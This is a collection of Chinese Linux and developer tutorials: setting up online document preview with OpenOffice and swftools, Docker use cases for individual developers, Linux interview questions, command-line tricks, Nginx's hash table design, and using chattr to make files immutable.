	因为刚开始学习不宜直接安装Linux(如果不是超狂热爱好者还是选择虚拟机Linux比较合适，因为现在已经到了云时代了)

	虚拟机配置选择单核或者双核（如果您的机器配置高可以选择更高），如果只是个人使用的话，内存512MB足够了。已经非常大了。一般正常情况下裸奔的Linux不到100MB左右的内存使用。



如何问问题



	请不要轻易提问，因为你每一次找人帮忙解决问题不但占用别人的时间，并且最重要的是，丢失了一次重要的学习机会。

	轻易不要到qq群里面提问，因为qq群里面有非常非常多的只会装Linux以及讨论Wine，Compiz问题的人，以及问一些关于QQ安装的问题。

	请到Mailling List里面看看别人都如何提问的。以及可以看到什么样的提问会有结果，什么样的提问会有很多人来回答。




 doc/jpg等文件在线浏览解决方案搭建

作者：seanlook
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在公司OA和CRM系统遇到要实现在线查看word/jpg等文件的功能，按照开发小组的要求搭建了一套解决方案：OpenOffice + JodConvertor  + SWFTool+ FlexPaper，其中OpenOffice + JodConvertor用于将文档转化为PDF格式文档，SwfTool用于将PDF转化为SWF文档，FlexPaper用于展示。使用这个解决方案的最大好处就是跨平台且较为简单。


1.1 安装openoffice


openoffice需要jdk的支持，而且默认已经安装，如果没有，手动下载Apache_OpenOffice_4.0.1_Linux_x86-64_install-rpm_zh-CN.tar.gz到/usr/local/src（CentOS 6.4 x86_64）：


# tar -zxf Apache_OpenOffice_4.0.1_Linux_x86-64_install-rpm_zh-CN.tar.gz
# cd zh-CN/RPMS
# rpm –ivh *.rpm



拷贝字体

安装完成后把windows（c:\windows\fonts）下的一些常用字体拷贝到 /opt/openoffice4/share/fonts/truetype 目录下，如Arial, Calibri, Courier New, Consolas等，如果你想正确的保留原doc的中文字体，还需要把 黑体、微软雅黑、宋体 常规、新宋体 常规、幼圆、隶书、楷体 等中文字体拷贝进去（重启进程后生效）。


启动后台进程

切换至普通用户，如wxcrm启动转换进程：


$ /opt/openoffice4/program/soffice -headless -accept="socket,host=127.0.0.1,port=8100;urp;" -nofirststartwizard &

# ps –ef | grep soffice



1.2 解压jodconverter


JODConverter是一个java的OpenDucument文件转换器，可以进行许多文件格式的转换工具，它利用OpenOffice来进行转换工作，它能完成以下转换：



	Microsoft Office格式转换为OpenDucument，以及OpenDucument转换为Microsoft Office

	OpenDucument转换为PDF，Word、Excel、PowerPoint转换为PDF，RTF转换为PDF等。



从 http://sourceforge.net/projects/jodconverter/files/JODConverter/2.2.2/ 下载jodconverter-2.2.2.zip解压到 /opt 目录下/opt/jodconverter-2.2.2/。手动转换测试，使用到的文件是安装包内的lib/jodconverter-cli-2.2.2.jar：


java -jar /opt/jodconverter-2.2.2/lib/jodconverter-cli-2.2.2.jar /home/oa/docker.docx /home/oa/docker.pdf



至此doc等文件格式可以成功转换成pdf。


2.1 swftool


swftool可以将pdf/jpg等转换成swf格式。搜索下载swftools-0.9.1.tar.gz（0.9.2在安装时可能需要错误处理）：




# yum install gcc* automake zlib-devel libjpeg-devel giflib-devel freetype-devel
# tar vxzf swftools-0.9.1.tar.gz
# cd swftools-0.9.1

# ./configure --prefix=/usr/local/swftools
# make && make install



至此已安装完预览功能，可以通过：


/usr/local/bin/pdf2swf -t docker4.pdf -o docker4.swf -T 9 -f -z



测试转换。-t 后接待转换的pdf文件路径，-o接输出文件路径和名称，-T 9 设置使用flash版本9，这个设置主要是为了跟FlexPaper的版本对应； -f 保留字体，-z使用zlib进行压缩，这是最常用的几个命令，其他命令可以从SWF官网了解。


2.2 安装xpdf语言包


在转换包含中文的PDF文档成swf时，常常会因为缺少所需的字体而出现乱码，或者干脆就没有文字，就需要使用到xpdf的字体库。

到 http://www.foolabs.com/xpdf/download.html 下载xpdf-chinese-simplified.tar.gz，解压到/usr/local下，编辑add-to-xpdfrc文件，如下：


# vi /usr/local/xpdf-chinese-simplified/add-to-xpdfrc
#----- begin Chinese Simplified support package (2011-sep-02)
cidToUnicode    Adobe-GB1       /usr/local/xpdf-chinese-simplified/Adobe-GB1.cidToUnicode
unicodeMap      ISO-2022-CN     /usr/local/xpdf-chinese-simplified/ISO-2022-CN.unicodeMap
unicodeMap      EUC-CN          /usr/local/xpdf-chinese-simplified/EUC-CN.unicodeMap
unicodeMap      GBK             /usr/local/xpdf-chinese-simplified/GBK.unicodeMap
cMapDir         Adobe-GB1       /usr/local/xpdf-chinese-simplified/CMap
toUnicodeDir                    /usr/local/xpdf-chinese-simplified/CMap

fontDir /usr/share/fonts/win
displayCIDFontTT    Adobe-GB1    /usr/share/fonts/win/SIMHEI.ttf
displayCIDFontTT    Adobe-GB1    /usr/local/xpdf-chinese-simplified/CMap/gbsn00lp.ttf
displayCIDFontTT    Adobe-GB1    /usr/local/xpdf-chinese-simplified/CMap/gkai00mp.ttf



可以使用xftp将常用的中文字体上传到/usr/share/fonts/win，如宋体、微软雅黑、黑体、楷体等。另外去 网上下载 gkai00mp.ttf、gbsn00lp.ttf简体中文放到上面正确的路径下，参考http://shitouququ.blog.51cto.com/24569/1252930。


转换时加上-s languagedir=/usr/local/xpdf-chinese-simplified/来加载语言包路径。


另外据同事说在 windows 平台安装和转换效果会好一点，没有验证。


参考



	linux安装openoffice与SWFtools工具

	仿豆丁网在线浏览文件方案openoffice.org 3+swftools+flexpaper

	swftools Installation





原文链接地址：http://seanlook.com/2015/05/13/pdf2swf-preview/
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  在上篇文章 8 个你可能不知道的 Docker 知识 中介绍了 Docker 在生产环境中的用例，有些开发者可能还是不明白 Docker 对自己到底有多大的用处，因此翻译 Docker 个人用例 这篇文章中来介绍 Docker 在普通开发者开发过程中的用例。




Docker 如今赢得了许多关注，很多人觉得盛名之下其实难副，因为他们仍然搞不清 Docker 和普通开发者到底有什么关系。许多开发者觉得 Docker 离自己很远，Docker 是生产环境中的工具，和自己无关。我也是花了很长时间才想清楚作为普通开发人员如何在自己的开发中使用 Docker。坦率地说，我仍处在学习的过程中。


这篇文章提供了一个 Docker 用例列表，我希望它能更好地帮助你理解 Docker 并引发你的思考。本文只是描述 Docker 在普通开发者日常的应用，并不提供完整的解决方案。


在介绍用例之前，我希望你能先记住这句话：“Docker 是一个便携的应用容器”。你可以不知道 Docker 所说的的“便携式容器”到底是什么意思，但是你必须清楚 Docker 在日常中能带来非常大的效率提升。


当你需要在容器内运行自己的应用（当然可以是任何应用），Docker 都提供了一个基础系统镜像作为运行应用时的基础系统。也就是说，只要是 Linux 系统上的应用都可以运行在 Docker 中。


可以在 Docker 里面运行数据库吗？当然可以。

可以在 Docker 里面运行 Node.js 网站服务器吗？当然可以。

可以在 Docker 里面运行 API 服务器吗？当然可以。


Docker 并不在乎你的应用程序是什么、做什么，Docker 提供了一组应用打包、传输和部署的方法，以便你能更好地在容器内运行任何应用。


下面的例子我自己经常使用，当然你有更好的案例也可以分享给我。


尝试新软件


对开发者而言，每天会催生出的各式各样的新技术都需要尝试，然而开发者却不太可能为他们一一搭建好环境并进行测试。时间非常宝贵，正是得益于 Docker，让我们有可能在一条或者几条命令内就搭建完环境。Docker 有一个傻瓜化的获取软件的方法，Docker 后台会自动获得环境镜像并且运行环境。


并不仅仅是新技术环境搭建用得到 Docker。如果你想快速在你的笔记本上运行一个 MySQL 数据库，或者一个 Redis 消息队列，那么使用 Docker 便可以非常容易地做到。例如 Docker 只需要一条命令便可以运行 MySQL 数据库：docker run -d -p 3306:3306 tutum/mysql。


译者注：虽然使用命令也能非常快地安装 MySQL 数据库，但是当用到最新的技术或者非常复杂的技术时，使用 Docker 便会是个非常好的选择，例如 Gitlab，普通用户大概需要一天的时间去搭建 Gitlab 平台，而 Docker 则只需要一条命令。


进行演示


现在我经常需要在周末用自己开发的成果对客户活着别人做一两个演示。搭建演示环境的过程非常麻烦。现在我发现 Docker 已经成为我演示这些工具的最合理的方式。同时，对于客户来说，我可以直接将 Docker 镜像提供给他们，而不必去做任何环境配置的工作，工作的效果也会和在他们演示中所看到的一模一样，同时不必担心他们的环境配置会导致我们的产品无法运行。


避免“我机器上可以运行”


无论是上一篇介绍的企业部署 Docker 还是本文的个人 Docker 用例，都提到了这个情况。因为环境配置不同，很多人在开发中也会遇到这个情况，甚至开发的软件到了测试人员的机器上便不能运行。但这都不是重点。重点是，如果我们有一个可靠的、可分发的标准开发环境，那么我们的开发将不会像现在这么痛苦。Docker 便可以解决这个问题。Docker 镜像并不会因为环境的变化而不能运行，也不会在不同的电脑上有不同的运行结果。可以给测试人员提交含有应用的 Docker 镜像，这样便不再会发生“在我机器上是可以运行的”这种事情，很大程度上减轻了开发人员测试人员互相检查机器环境设置带来的时间成本。


另一个 Docker 可以发挥用处的地方是培训班。除了 Docker 容器的隔离性之外，更能体会到 Docker 优势的地方在于环境搭建。培训班的新手每个人都要在环境搭建上花费很多时间，但是如果在这里应用到 Docker 的话，那么我们只需要把标准的运行环境镜像分发下去，然后就可以开始上课了。使用 Docker 和使用虚拟机一样简单，但是 Docker 要更方便、更轻量级。同时，我们也可以告诉学员：“在培训的同时，我们还将学到当下最流行的技术——Docker”，这种双赢的结局，何乐而不为呢。


学习 Linux 脚本


当然这个原因看起来可能很奇怪，但是对不不熟悉 Linux 操作系统和 Shell 脚本的人来说，确实是一个好机会。即便本文并不是在讲 Linux，Linux 的重要度仍然不言而喻。如果你用的是 Windows，那么我给你一个建议：从云主机提供商那儿租用一台云主机：我推荐使用 CoreOS 系统的云主机。虽然这样并不会让你成为专业的 Linux 运维，但是可以让你快速地学到 Linux 基础知识，爱上命令行操作，并且慢慢开始熟悉和欣赏 Linux。


更好地利用资源


虚拟机的粒度是“虚拟出的机器”，而 Docker 的粒度则是“被限制的应用”，相比较而言 Docker 的内存占用更少，更加轻量级。


对我来说这是 Docker 的一个优势：因为我经常在自己电脑中运行多个 Docker 应用，使用 Docker 比使用虚拟机更加简单，方便，粒度更细，也能持续地跟踪容器状态。


为微服务定制


如果你一直在关注科技新闻的话，那么你应该听说过“微服务（Microservices）”的概念。Docker 可以很好地和微服务结合起来。从概念上来说，一个微服务便是一个提供一整套应用程序的部分功能，Docker 便可以在开发、测试和部署过程中一直充当微服务的容器。甚至生产环境也可以在 Docker 中部署微服务。


在云服务提供商之间移植


大多数的云主机提供商已经全面支持 Docker。对于开发人员来说，这表示你可以很方便地切换云服务提供商，当然也可以很方便地将你本地的开发环境移动到云主机上，不需要本地上配置一次运行环境、在云主机上还配置一次运行环境。全面部署 Docker (Docker here and Docker there) 作为标准运行环境可以极大地减轻应用上线时的工作量和产生 BUG。


API 端


API 是应用之间的粘合剂，一个合格开发者肯定使用过别人提供的 REST API，或者自己开发过 REST API。需要指出的是，无论是客户端还是 API 提供端，在开发之前都需要先定义一组公共的 API 接口，写成文档，然后才能进行编码。如果服务端和客户端是共同开发的话，那么服务端通常会先实现能返回固定字符串的 API 接口，在以后的开发中再慢慢去实现 API 的功能。


虽然有人会认为在这里 Docker 被滥用了，完全可以用 sample.json 这种文件去实现虚拟 API，但是下面有个实例可以更好地解决前后端分离开发时的 API 问题。


为了更好地解释我的意思，给大家提供一个实例：JSON Server，一个用于提供 JSON 数据的 REST API。使用过这个容器的人就会知道，既然有这么好用的 Docker JSON Server，我们没有理由不用 Docker。


译者注：



	运行示例的 JSON Server，同时使用示例中提供的 JSON 文件，只需执行一条命令便可以创建一个服务端的 API 应用。

	使用 curl http://127.0.0.1:80/posts 即可获取示例文件中的 posts 段，这样在后端没有开发完 API 的时候，前端一样可以进行协同开发。



技术的创新


这点应该算不上是用例，但是我还是来写一下。Docker 正在快速发展，工具也在不断更新，没有人能预见到未来 Docker 会是什么样子的。你在复杂的系统中 Docker 使用的越多，越是可能会发现技术上的空白和未来技术发展的方向。现在还处在 Docker 的发展期，任何你使用 Docker 创建的工具都有可能成为社区关注的热点。这是 Docker 的机会，也是成就你自己的机会。


你的用例


最后一条便不再是我的用例了，而是 Docker 在你手中能发挥多大的作用。我也很希望看到你能提供更多使用 Docker 的方式，欢迎留言。


其他


还有两个技巧可以分享给你们。在学习 Docker 的过程中因为有了这两个的帮助，我才得意不断地提升自己。


一：Docker Hub Registry。这是 Docker 的官方镜像仓库，除了托管着 Docker 官方的镜像外，和 Github 一样，你可以在上面上传自己的镜像，也可以在上面搜寻其他有用的镜像，极大地节省自己的时间。例如 Oracle-XE-11g 镜像，所有的一切都是现成的，完全不需要自己去下载 Oracle XE 11g 安装。这样为你和团队节约了大量的时间成本。


如果你不太确定的话，可以去 Docker Hub 上搜有一下有没有自己用得到的镜像。大部分情况下你所需要的镜像在 Docker Hub 上都已经有人构建了。


二：多参考 IaaS 供应商的新闻，虽然我们不能像在他们会议室里那样完全了解他们的公司动态，但是仍然可以从新闻中可以了解到 Docker 最新的发展方向和技术趋势。可以肯定的是，容器化技术是未来的热点，我们不仅可以在本机运行 Docker，不仅仅在一家云服务提供商的主机上运行 Docker，未来所有的云服务提供商都会支持 Docker。

Docker 前景很明确，采用 Docker 只会让开发变得更方便。


后记


本专栏正在翻译 Docker 系列文章，接下来是 Flux Docker 系列教程，Docker 实例和 Docker 进阶内容将在以后慢慢推出。欢迎关注。
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问:1 如何查看当前的Linux服务器的运行级别？


答: who -r 和 runlevel 命令可以用来查看当前的Linux服务器的运行级别。


问:2 如何查看Linux的默认网关？


答: 用 route -n 和 netstat -nr 命令，我们可以查看默认网关。除了默认的网关信息，这两个命令还可以显示当前的路由表。


问:3 如何在Linux上重建初始化内存盘镜像文件？


答: 在CentOS 5.X / RHEL 5.X中，可以用mkinitrd命令来创建初始化内存盘文件，举例如下：


# mkinitrd -f -v /boot/initrd-$(uname -r).img $(uname -r)



如果你想要给特定的内核版本创建初始化内存盘，你就用所需的内核名替换掉 uname -r 。


在CentOS 6.X / RHEL 6.X中，则用dracut命令来创建初始化内存盘文件，举例如下：


# dracut -f



以上命令能给当前的系统版本创建初始化内存盘，给特定的内核版本重建初始化内存盘文件则使用以下命令：


# dracut -f initramfs-2.x.xx-xx.el6.x86_64.img 2.x.xx-xx.el6.x86_64



问:4 cpio命令是什么？


答: cpio就是复制入和复制出的意思。cpio可以向一个归档文件（或单个文件）复制文件、列表，还可以从中提取文件。


问:5 patch命令是什么？如何使用？


答: 顾名思义，patch命令就是用来将修改（或补丁）写进文本文件里。patch命令通常是接收diff的输出并把文件的旧版本转换为新版本。举个例子，Linux内核源代码由百万行代码文件构成，所以无论何时，任何代码贡献者贡献出代码，只需发送改动的部分而不是整个源代码，然后接收者用patch命令将改动写进原始的源代码里。


创建一个diff文件给patch使用，


# diff -Naur old_file new_file &gt; diff_file



旧文件和新文件要么都是单个的文件要么都是包含文件的目录，-r参数支持目录树递归。


一旦diff文件创建好，我们就能在旧的文件上打上补丁，把它变成新文件：


# patch &lt; diff_file



问:6 aspell有什么用 ?


答: 顾名思义，aspell就是Linux操作系统上的一款交互式拼写检查器。aspell命令继任了更早的一个名为ispell的程序，并且作为一款免费替代品 ，最重要的是它非常好用。当aspell程序主要被其它一些需要拼写检查能力的程序所使用的时候，在命令行中作为一个独立运行的工具的它也能十分有效。


问:7 如何从命令行查看域SPF记录？


答: 我们可以用dig命令来查看域SPF记录。举例如下：


linuxtechi@localhost:~$ dig -t TXT google.com



问:8 如何识别Linux系统中指定文件(/etc/fstab)的关联包？


答:


# rpm -qf /etc/fstab



以上命令能列出提供/etc/fstab这个文件的包。


问:9 哪条命令用来查看bond0的状态？


答:


cat /proc/net/bonding/bond0



问:10 Linux系统中的/proc文件系统有什么用？


答: /proc文件系统是一个基于内存的文件系统，其维护着关于当前正在运行的内核状态信息，其中包括CPU、内存、分区划分、I/O地址、直接内存访问通道和正在运行的进程。这个文件系统所代表的并不是各种实际存储信息的文件，它们指向的是内存里的信息。/proc文件系统是由系统自动维护的。


问:11 如何在/usr目录下找出大小超过10MB的文件？


答:


# find /usr -size +10M



问:12 如何在/home目录下找出120天之前被修改过的文件？


答:


# find /home -mtime +120



问:13 如何在/var目录下找出90天之内未被访问过的文件？


答:


# find /var \! -atime -90



问:14 在整个目录树下查找文件core，如发现则无需提示直接删除它们。


答:


# find / -name core -exec rm {} \;



问:15 strings命令有什么作用？


答: strings命令用来提取和显示非文本文件中的文本字符串。（LCTT 译注：当用来分析你系统上莫名其妙出现的二进制程序时，可以从中找到可疑的文件访问，对于追查入侵有用处）


问:16 tee 过滤器有什么作用 ?


答: tee 过滤器用来向多个目标发送输出内容。如果用于管道的话，它可以将输出复制一份到一个文件，并复制另外一份到屏幕上（或一些其它程序）。


linuxtechi@localhost:~$ ll /etc | nl | tee /tmp/ll.out



在以上例子中，从ll输出可以捕获到 /tmp/ll.out 文件中，并且同样在屏幕上显示了出来。


问:17 export PS1 = `$LOGNAME@hostname:\$PWD: 这条命令是在做什么？


答: 这条export命令会更改登录提示符来显示用户名、本机名和当前工作目录。


问:18 ll | awk {print $3,owns,$9} 这条命令是在做什么？


答: 这条ll命令会显示这些文件的文件名和它们的拥有者。


问:19 :Linux中的at命令有什么用？


答: at命令用来安排一个程序在未来的做一次一次性执行。所有提交的任务都被放在 /var/spool/at 目录下并且到了执行时间的时候通过atd守护进程来执行。


问:20 linux中lspci命令的作用是什么？


答: lspci命令用来显示你的系统上PCI总线和附加设备的信息。指定-v，-vv或-vvv来获取越来越详细的输出，加上-r参数的话，命令的输出则会更具有易读性。


原文：http://www.linuxtechi.com/20-linux-commands-interview-questions-answers/ 作者： Pradeep Kumar

译文：LCTT  http://linux.cn/article-4790-1.html 译者：ZTinoZ
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你有将Linux物尽其用吗？对很多Linux用户来说，有很多看起来是技巧的有用特性。有些时候你会需要这些技巧。本文会帮助你更好得使用一些命令，发挥其更强大的功能。



图1：5个命令行技巧


我们开始一个新的系列，在这里我们还会写一些技巧，并且用尽量小的篇幅写清楚。


1. 我们可以使用history命令来查看曾经运行过的命令。


这里是一个history命令的示例输出。


# history




图2：history命令例子


从history命令输出看，很明显，命令的执行时间没有被打出来。有解决方法吗？有的！运行如下命令：


# HISTTIMEFORMAT="%d/%m/%y %T "
# history



如果你想让这个修改永久生效，添加如下的一行内容到~/.bashrc文件中：


export HISTTIMEFORMAT="%d/%m/%y %T "



然后，在终端中运行：


# source ~/.bashrc



命令和选项的解释：



	history – 查看运行过的命令

	HISTIMEFORMAT – 设置时间格式的环境变量

	%d – 天

	%m – 月

	%y – 年

	%T – 时间戳

	source – 简而言之就是将文件内容发送给shell来执行

	.bashrc – BASH以交互方式启动时运行的脚本文件




图3：history命令输出的日志


2. 如何测试磁盘写入速度？


一行dd命令脚本就可以实现。


# dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img




图4：dd命令例子


命令和选项的解释：



	dd – 转换和复制文件

	if=/dev/zero – 指定输入文件，默认为stdin（标准输入）

	of=/tmp/output.img – 指定输出文件，默认为stdout（标准输出）

	bs – 一次读和写的块大小，最大可以以MB为单位

	count – 复制次数

	conv – 使用逗号分隔的策略来转换文件（LCTT 译注：比如将大写字母转换成小写，echo AA | dd conv=lcase）

	rm – 删除文件和目录

	-rf – （-r） 递归地删除目录和其中的内容，（-f）强行删除而不输出确认信息



3. 你如何获取吃掉你磁盘空间的最大的6个文件？


一个使用du命令的简单单行脚本即可实现，du命令主要用于获取文件的空间使用情况。


# du -hsx * | sort -rh | head -6




图5：获取磁盘空间使用情况的方法


命令和选项的解释：



	du – 估计文件的空间使用情况

	-hsx – （-h）更易读的格式，（-s）汇总输出，（-x）跳过其他文件系统的文件

	sort – 对文本文件按行排序

	-rf – （-r）将比较的结果逆序输出，（-f）忽略大小写

	head – 输出文件的头几行



4. 获取一个文件的详细状态信息


可以使用stat命令


# stat filename_ext  （例如：stat abc.pdf）




图6：获取文件的详细信息


5. 显示帮助


最后一个技巧是为那些入门者准备的，如果你是有经验的用户，可能不需要它，除非你想从中寻找乐趣。入门者可能有Linux命令行恐惧症，下面的命令会随机显示一个man手册页。对入门者来说，好处是总会学到新的东西，而且不会厌倦。


# man $(ls /bin | shuf | head -1)




图7：查看随机的man手册页


命令和选项的解释：



	man – Linux man手册

	ls – 列出文件

	/bin – 系统可执行文件的路径

	shuf – 把输入内容按行随机打乱并输出

	head – 输出文件的头几行



这就是所有的内容了。如果你知道任何类似的技巧，可以分享给我们，我们会用你的语言在网站上发表出来。


不要忘记在下边评论框中留下有价值的反馈。保持联系。可以点赞或者将本文分享来帮助我们更好地传播内容。




via: http://www.tecmint.com/5-linux-command-line-tricks/


作者：Avishek Kumar

译者：goreliu

校对：wxy


本文由 LCTT 原创翻译，Linux中国 荣誉推出
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源文件路径


版本：1.8.0


csrc\core\Ngx_hash.h
src\core\Ngx_hash.c



关于hash表


Nginx实现的hash表和常见的hash表大体一致，细节有区别，所以，要了解ngx_hash_t最好对hash表的基础概念进行一下梳理。


数组与hash表


从查询的角度来看，数组根据索引值的查询速度很快快。

原因在于数组内元素的位置是基于数组起始位置的绝对位置，而且数组的存储空间是连续的，可以根据下标直接操作指针跳转。


虽然数组的查询速度很快，但是数组的索引值必须是数值，这就很讨厌了。

因为很多情况下，索引值并不是数字，而是字符串什么的。比如用名字来索引一个人。


解决这个问题的一个很容易的办法就是给每个人安排一个学号（先不考虑重名的情况），那么，在实际存储时，按照学号为索引值的数组来存储对应的信息；在查询时，只需要知道名字，就可以得到名字对应的学号，根据学号可以直接从数组中取出信息。


这个解决方法中有两个主要部分：



	建立从名字到学号的对应关系；

	建立以学号为索引值的数组；



从名字到学号的对应关系可以抽象成从字符串到数值的对应关系，这种对应关系，在数学上表示就是f(k)。其中k表示一个字符串（索引关键字），函数f表示从字符串到数值的对应关系，f(k)表示k经过f映射得到的值。


只要有了f(k)，那么将f(k)作为数组的下标即可获取k所对应的信息。

即


k------>f(k)------->info[f(k)]



其中，从k到f(k)的映射函数称为哈希函数，数组info[]称为哈希（hash）表。


hash表的问题及解决方法


理想是丰满的，现实是骨感的。hash表在建立时最关键之处在于找到合适的哈希函数，使得：



	
k与f(k)之间是一一映射的。即，保证给定对于k存在唯一的f(k)与之对应，同时对于f(k)存在唯一的k与之对应。

	
f(k)的集合是连续的。即，对于数组info[]而言，不存在数组项为空的情况，可以更加充分利用资源。



可惜，满足上述条件的哈希函数非常困难。

现在使用的各种哈希函数基本上只能保证较小概率出现两个不同的k其f(k)相同的情况。

基本不能保证f(k)的集合是连续的。


因为f(k)的集合不是连续的，所以哈希表也被称为散列表，哈希函数也被称为散列函数。

而出现两个k值对应的f(k)相同的情况，称为哈希冲突。


解决哈希冲突常见的办法

出现散列情况表示可能浪费一点资源，这是可以接受的。但是出现冲突表示会发生信息覆盖，这是错误，不能接受。所以，必须解决哈希冲突。


解决哈希冲突的常见的方法有：

1) 开放地址法；2）再哈希法；3）链地址法；


具体内容请自行google，这里就不去挖老坟了。


哈希表的建立


从上述的分析可知，建立哈希表有两个主要环节：


1）建立哈希函数；

2）建立哈希表（都是窟窿的数组）


其中，为了解决哈希冲突（假设采用链地址法），所建立的哈希表（数组）里的元素可能是一个链表或者一个数组。也就是说，哈希表是一个二维的结构。

同时，对于索引关键字，要求哈希函数获得的哈希值控制在一定范围内。


因此，哈希表大概长成这个样子：


ctypedef struct node_s{
     char    *key;
     char    *val;
     node_t  *next;
}node_t;

#define HASHSIZE 101
node_t* hashtable[HASHSIZE];



其中hashtable表示哈希表，key表示索引值，比如上述例子中某个学生的名字，node_t表示哈希表中存储的信息，同时也可以看到node_t是链表的一个节点，用于解决哈希冲突。


假设key的值是字符串"xiaoming"，根据某个哈希函数，得出的值为6，那么"xiaoming"的信息就可以从hashtable[6]链表中取得，这样再去遍历hashtable[6]这个链表，找到key等于"xiaoming"的链表节点，其val就是要查找的值。


从上述分析，可知，hash表是一种拿空间换取时间的数据结构。

关于hash表的各种实现方法及算法的算法复杂度，请自行google。





Nginx中的哈希表


需要指出的是，Nginx中自造的哈希表属于内部使用的数据结构，因此，并不是一个通用的哈希表。此外，为了提高效率，作者做了相当多的优化，这些优化使得Nginx中的哈希表与常规的哈希表长得不一样。


例如，Nginx的哈希表一经初始化就不可更改，既不能增加元素，也不能删除元素。

这样做主要是因为Nginx的哈希表用于解决类似于http模块中域名匹配的问题，这些域名在配置文件中配置，一旦读取配置文件，这些信息是不可修改的，因此，没有增删的需求。


另外，由于Nginx哈希表的这种只读特点，使得可以在性能上有很大的可优化空间。

而Nginx也确实在这上面作了很多文章。


数据结构


根据哈希表的概念可知：哈希表本身就是一个数组，因此，是一块连续的内存空间。

在Nginx中，内存的管理都是通过ngx_pool_t来管理的（不清楚的请移步这里）,因此，需要一个用来管理这块连续内存的结构体。


但是由于哈希表为了解决冲突问题，通常采用链地址法，所以，这个管理内存的结构体会使用指针的指针。


另外，由于Nginx的哈希表是只读的，冲突的元素个数可以在初始化是确定，所以使用数组来代替链表解决冲突是更优的选择。


这个用来代替链表的数组还有个名字叫hash桶，所以，会在Nginx源码中看到buckets这样的命名。


Nginx的哈希表在内存上大概是长这个样子的：



假设理想情况，所有的索引值key经过哈希函数映射后f(k)集合的大小为4。


为了解决冲突，我们将每个f(k)对应的数组大小设定为2。这样，我们的hash表在逻辑上就变成了一个4x2的数组。


当然，为了更好的说明情况，这里假设哈希函数是理想的，因此，hash表不存在未使用的部分。


所以，在内存上，Nginx哈希表的本尊，就是一段连续的内存空间，此外，还需要两个用来管理这段内存空间的数据结构。


1）大小为4的数组，类型为ngx_hash_elt_t *，用来分别指向不同的内存段，表示每个hash桶。

2）类型为ngx_hash_elt_t **的指针buckets，用来表示hash桶数组。


由于指针的指针可以完整的表示二维数组，因此，ngx_hash_elt_t *数组并不需要定义。只需定义ngx_hash_elt_t来表示hash表中的每个元素即可。


因此，Nginx哈希表的核心数据结构如下：


ngx_hash_elt_t用来表示hash表的元素。


ctypedef struct {
    void             *value;
    u_short           len;
    u_char            name[1];
} ngx_hash_elt_t;



ngx_hash_t用来表示整个hash表。


ctypedef struct {
    ngx_hash_elt_t  **buckets;
    ngx_uint_t        size;
} ngx_hash_t;



通过buckets这个指针的指针可以完整的访问二维数组。


Nginx中是如何使用这两个数据结构的呢？或者简化一下，Nginx是如何初始化这两个数据结构的呢？


首先，作为管理内存的结构体，ngx_hash_t既可以作为局部变量在栈上出现，也可以作为堆上的变量，使用ngx_pool_t管理。


以堆为例，


ngx_hash_t  *hash;
// 向ngx_pool_t申请空间，用于存放管理结构体ngx_hash_t及4个 ngx_hash_elt_t指针
hash = ngx_pcalloc(pool, sizeof(ngx_hash_t) + 4*sizeof(ngx_hash_elt_t *));

u_char *elts;
// 向ngx_pool_t申请hash表本身使用的连续内存块
elts = ngx_palloc(pool, 4 * 2 * sizeof(ngx_hash_elt_t));

ngx_hash_elt_t **buckets;
// 将管理结构体成员变量赋于正确的值。
for (i = 0; i < 4; i++) {
    buckets[i] = (ngx_hash_elt_t *) elts;  // 4个ngx_hash_elt_t指针指向正确地址；
    elts += 2 * sizeof(ngx_hash_elt_t);
}
hash->buckets = buckets;
hash->size = 4;




这段代码，在内存池中申请了一段连续的内存，分别用于1个ngx_hash_t和4个ngx_hash_elt_t *。


这样就把管理hash表那段连续内存块使用的ngx_hash_elt_t** buckets及ngx_hash_elt_t*数组一起创建了。


然后依次给每个ngx_hash_elt_t *赋值，使其指向正确的内存地址。




说明

以上代码自Nginx源码中简化而来，去除了许多用于优化的代码。


由于ngx_hash_t内容较多，这里只从设计角度分析了Nginx中的hash表。主要目的在于理清整体框架及思路。


细节部分，后续添加。先到这里。


 [译] 如何在Linux下创建一个不可变更的文件
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假如你想对Linux中的一些重要文件做写保护，这样它们就不能被删除或者被篡改成之前的版本或者其他东西，或者在其他情况下，你可能想避免某些配置文件被软件自动修改。使用chown和chmod命令修改文件的归属关系或者权限位是处理这种情况的一个解决方法，但这并不完美，因为这样无法避免有root权限的操作。这时chattr就派上用场了。


chattr是一个可以设置或取消文件的标志位的Linux命令，它和标准的文件权限（读、写、执行）是分离的。与此相关的另一个命令是lsattr，它可以显示文件的哪些标志位被设置上了。最初只有EXT文件系统（EXT2/3/4）支持chattr和lsattr所管理的标志位，但现在很多其他的原生的Linux文件系统都支持了，比如XFS、Btrfs、ReiserFS等等。


在这个教程中，我会示范如果使用chattr来让Linux中的文件不可变更。


chattr和lsattr命令是e2fsprogs包的一部分，它在所有现代Linux发行版都预装了。


下面是chattr的基本语法。


$ chattr [-RVf] [操作符][标志位] 文件...



其中操作符可以是“+”（把选定的标志位添加到标志位列表）、“-”（从标志位列表中移除选定的标志位）、或者“=”（强制使用选定的标志位）。


下面是一些可用的标志位。



	
a: 只能以追加模式打开。

	
A: 不能更新atime（文件访问时间）。

	
c: 当被写入磁盘时被自动压缩。

	
C: 关掉“写时复制”。

	
i: 不可变更。

	
s: 通过自动归零来安全删除。（LCTT 译注：一般情况文件被删后内容不会被修改，改标志位会使得文件被删后原有内容被“0”取代）



“不可变更”标志位


为了让一个文件不可变更，你需要按照如下方法为这个文件添加“不可变更”标志位。例如，对/etc/passwd文件做写保护：


$ sudo chattr +i /etc/passwd



注意设置或取消一个文件的“不可变更”标志位是需要root用户权限的。现在检查该文件“不可变更”标志位是否被添加上了。


$ lsattr /etc/passwd



一旦文件被设置为不可变更，任何用户都将无法修改该文件。即使是root用户也不可以修改、删除、覆盖、移动或者重命名这个文件。如果你想再次修改这个文件，需要先把“不可变更”标志位取消了。


用如下命令取消“不可变更”标志位：


$ sudo chattr -i /etc/passwd






如果你想让一个目录（比如/etc）连同它下边的所有内容不可变更，使用“-R”选项：


$ sudo chattr -R +i /etc



“只可追加”标志位


另一个有用的的标志位是“只可追加”，它只允许文件内容被追加的方式修改。你不能覆盖或者删除一个设置了“只可追加”标志位的文件。这个标志位在你想避免日志文件被意外清理掉的情况很有用。


和“不可变更”标志位类似，你可以使用如下命令让文件变成“只可追加”模式：


$ sudo chattr +a /var/log/syslog



注意当你复制一个“不可变更”或者“只可追加”的文件到其他地方后，新文件不会保留这些标志位！


结论


